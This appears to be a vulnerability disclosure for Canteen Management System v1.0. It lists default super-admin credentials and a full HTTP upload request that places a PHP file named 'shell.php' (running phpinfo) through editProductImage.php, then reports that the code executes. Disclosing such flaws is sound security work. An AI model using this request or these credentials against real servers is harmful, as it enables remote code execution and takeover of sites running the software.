

## Canteen Management System v1.0 by mayuri\_k has arbitrary code execution (RCE)

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53 lines (35 sloc) | 1.87 KB

vendors: https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html

The program is built using the xmapp-php8.1 version

Login account: mayuri.infospace@gmail.com/rootadmin (Super Admin account)

Vulnerability url: ip/youthappam/php\_action/editProductImage.php?id=1

Loophole location: Canteen Management System's editProductImage.php file exists arbitrary file upload (RCE)

Request package for file upload:

```
POST /youthappam/php_action/editProductImage.php?id=1 HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

```
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.88/youthappam/edittest.php?id=1
Cookie: PHPSESSID=lf9hph2449vgrcadcct2jgd8ne
Connection: close
Content-Type: multipart/form-data; boundary=-----8858262292627
Content-Length: 422
-----88582622926272
Content-Disposition: form-data; name="old_image"
------88582622926272
Content-Disposition: form-data; name="productImage"; filename="shell.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------88582622926272
Content-Disposition: form-data; name="btn"
       -----88582622926272--
```

The files will be uploaded to this directory \youthappam\assets\myimages\



We visited the directory of the file in the browser and found that the code had been executed

